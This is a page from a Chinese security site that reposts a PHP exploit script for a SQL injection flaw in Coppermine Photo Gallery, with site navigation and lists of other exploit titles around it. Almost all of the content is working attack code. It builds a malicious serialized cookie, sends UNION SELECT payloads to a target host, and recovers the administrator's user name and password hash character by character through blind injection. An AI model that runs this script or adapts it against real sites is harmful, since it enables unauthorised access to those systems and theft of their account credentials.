首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Coppermine Photo Gallery <= 1.4.14 Remote SQL Injection Exploit
来源:www.vfocus.net 作者:PRIVATE 发布时间:2008-01-23  
<?php
#############################################
# RST/GHC PRIVATE
# CPG 1.4.10 sql injection exploit
# Date: 17.05.07
# bug: SQL injection in private album
# function through array indexes with COOKIE
#############################################
error_reporting (E_ERROR);
ini_set("max_execution_time",0);
intro();
if ($argc < 4 ){
        print " Usage: " . $argv[0] . " <host> <dir> <force> [table prefix]\n";
        print "        <host>                          - hostname\n";          
        print "        <dir>                           - web dirname \n";          
        print "        <force>                         - force mode - '0' - for Off or \"album number\" for force mode On \n";          
        print "        [table prefix]          - prefix of sql tables\n";          
        print " example: " . $argv[0] . " coppermine.site photo/ 1 cpg1410\n";
        credits();
}
###############################################
/* FUNCTIONS */
##############################################

if (!function_exists(str_split)){ ### for PHP4 << FIX
        function str_split($str)
      {
        $str_array=array();
        $len=strlen($str);
        for($i=0;$i<$len;$i++) $str_array[]=$str{$i};
        return $str_array;
       }
}

function toSql($str){
        $a_str = str_split ($str);
        $s_str = '0x';
        foreach ($a_str as $val){
                $s_str .= sprintf("%X",ord($val));
        }
        return $s_str;
}

function toCookie ($str){
        $str = "-1) UNION SELECT " .toSql ($str). ",1 as md5_password/*";
        $c_str=array(0=>"8", $str=>"1");
        $c_str = $GLOBALS['prefix'].'_albpw='.urlencode(serialize($c_str)).';'.$GLOBALS['cookies'];
        return $c_str;
}


function getAlbum($text){
        if (preg_match("/(?<=album=)[1-9]{1}(?=\">)/", $text, $match)) {
                return intval($match[0]);
        }
         else return 0;

}

function getCookie($text){
        if (preg_match_all("/(?<=Set-Cookie:)(.*)(?=expires)/", $text, $match)) {$cookie = $match[0][0].$match[0][1];}
        else {$cookie = '';}
        return $cookie;
}

function getPrefix($text){
        if (preg_match("/(?<=\s)[a-z0-9_]*(?=_data)/", $text, $match)) return trim($match[0]);
        else return false;
}

function toPage($page){
$pattern = "/(?<=HTTP).*(?=<html)/s";
$replacement = '';
$page = preg_replace($pattern,$replacement,$page);
/* Let's count images on the page */
if (preg_match_all("/<img/", $page, $match)) return count($match[0]);
else return 0;
}

function sendit($page, $method, $cookie=''){
global $argv;
        $data ='';
        $host = $argv[1];
        $page = $argv[2] . $page;
        $referer = 'http://'.$host;
    $user_agent = 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)';
    $result = '';       
        $sock = fsockopen($host, 80, $errno, $errstr, 50);
        if (!$sock) die("$errstr ($errno)\n");
        fputs($sock, "$method /$page HTTP/1.0\r\n");
        fputs($sock, "Host: $host" . "\r\n");
        fputs($sock, "Content-type: application/x-www-form-urlencoded\r\n");
        fputs($sock, "Content-length: " . strlen($data) . "\r\n");
        fputs($sock, "Referer: $referer". "\r\n");
        fputs($sock, "User-Agent:  $user_agent" . "\r\n");       
        fputs($sock, "Accept: */*\r\n");
        if ($cookie !=='') {fputs($sock, "Cookie: $cookie\r\n");}
        fputs($sock, "\r\n");
        fputs($sock, "$data\r\n");
        fputs($sock, "\r\n");

    while (!feof($sock)) {
        $result .= fgets ($sock,8192);
    }          
        fclose($sock);
                //print $result; ### DEBUGER
    return $result;
   
}

function credits(){
echo '
+==========================================+
+ Coded: 17.05.07 * Bug found in Feb.2007  +
+==========================================+
';
exit;
}


function intro(){
echo '
          * P R I V A T E  *
+==========================================+
| RST/GHC Coppermine SQL injection exploit |
+==========================================+
|  >>> vulnerable: CPG 1.4.10 stable  <<<  |
+------------------------------------------+
';

}

#####################################################################
### HACK FUNCTIONS
#####
####
### what to find:
## user_name   user_password    FROM  cpg1410_users WHERE user_id=1
####################################################################

function makeExpl($param, $cond, $sn) ### $param - name || password; $cond - condition (e.g. =97) ; $sn  - position
{
        global $argv;
        $tprefix = (isset($argv[4])) ? $argv[4]  : 'cpg1410';
        $query = 'ASCII(substr((SELECT user_'.$param.' FROM '.$tprefix.'_users WHERE user_id=1),'.$sn.',1))' . $cond;
        $sql = '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '/*';
           //echo $sql; ###DEBUG
        return toCookie($sql);

}
//////////////
function blind($param, $sn, $fmin, $fmax)
{
if (($fmax-$fmin)<5) { return crack($param, $fmin, $fmax, $sn) ;}
$compare = intval($fmin + ($fmax-$fmin)/2);
$crcheck = ">". $compare;
if ( check(makeExpl($param, $crcheck, $sn)) == 1 ) {
    return blind($param, $sn, $compare, $fmax);
    }
else {
    return blind($param, $sn, $fmin, $compare+1);
        }
}

function crack($param, $cmin, $cmax, $sn)
{
for ($i=$cmin; $i <=$cmax; $i++){
   $crcheck = '='.$i;
   $sqlCookie = makeExpl($param, $crcheck ,$sn);
   if (check($sqlCookie) == 1){print chr($i); return 1;}
         }
return 0;
}

function check($sqlCookie){
        global $page, $etalon;
        $testPage = toPage(sendit ($page, 'GET', $sqlCookie));
        if ($testPage < $etalon) return 1;
        else return 0;
}

function exploit($param){
        echo "\nLet's define admin's ". $param . "\n";
        $min = 48;  # 0
        $max = 122; # z

        $sql_cookies = makeExpl($param,'BETWEEN '.$min . ' AND '.$max,1);
        if (check($sql_cookies) == 0) {echo 'failed...'; return;}

        $sn=1;
        while(blind($param,$sn, $min, $max) !== 0) {
                $sn++; if ($sn > 32) return;
        }
}

###############################################################
## START     E X P L O I T    C O D E
#############################################################
echo '
Exploiting:
[+] target: '. $argv[1].'/'.$argv[2].'
';
         $page = '';
        $firstReply = sendit($page, 'GET');
        $album = getAlbum($firstReply);                                                                  ### get valid album number
        if ($album == 0) {
                echo "[-] No valid album found...\n";
                if ($argv[3] != 0) {echo "... Forcing\n";        $album = $argv[3];}        ### FOR FORCE MODE!!!! If you know exactly album number - put it here
                else {credits();}                                                                                
               
        }
        $page = 'thumbnails.php?album='.$album;
        $GLOBALS['album'] = $album;
        echo "[+] Valid album number: ".$album . "\n";
       
        $GLOBALS['cookies'] = getCookie($firstReply);                                         ### get cookie from host

        $prefix = getPrefix($GLOBALS['cookies']);                                                 ### get cookie prefix
        echo "[+] Cookie prefix: " . $prefix . "\n";
        $GLOBALS['prefix']=$prefix;
       
        $etalon = toPage(sendit ($page, 'GET', $c_cookies));                         ### number of images at etalon page
       
        $first_sql = '0) UNION SELECT '.$album.' AND 1=1/*';                        ### FIRST sql query - let's make valid album to be invisible
        $first_cookie = toCookie($first_sql);
       
        if (check($first_cookie) == 0) {echo "exploit failed..."; credits();} ### if album is still visible - site is unvulnerable
        exploit('name');
        exploit('password');
        credits();

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HP Virtual Rooms WebHPVCInstal
·SetCMS 3.6.5 (setcms.org) Remo
·Coppermine Photo Gallery 1.4.1
·YaBB SE <= 1.5.5 Remote Comman
·Axigen <= 5.0.2 AXIMilter Remo
·PHP-Nuke < 8.0 (sid) Remote SQ
·Windows RSH daemon <= 1.8 Remo
·PHP-Nuke <= 8.0 Final (sid) Re
·Invision Gallery <= 2.0.7 Remo
·OpenBSD 4.2 rtlabel_id2name()
·Lycos FileUploader Control Act
·MS Windows Message Queuing Ser
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved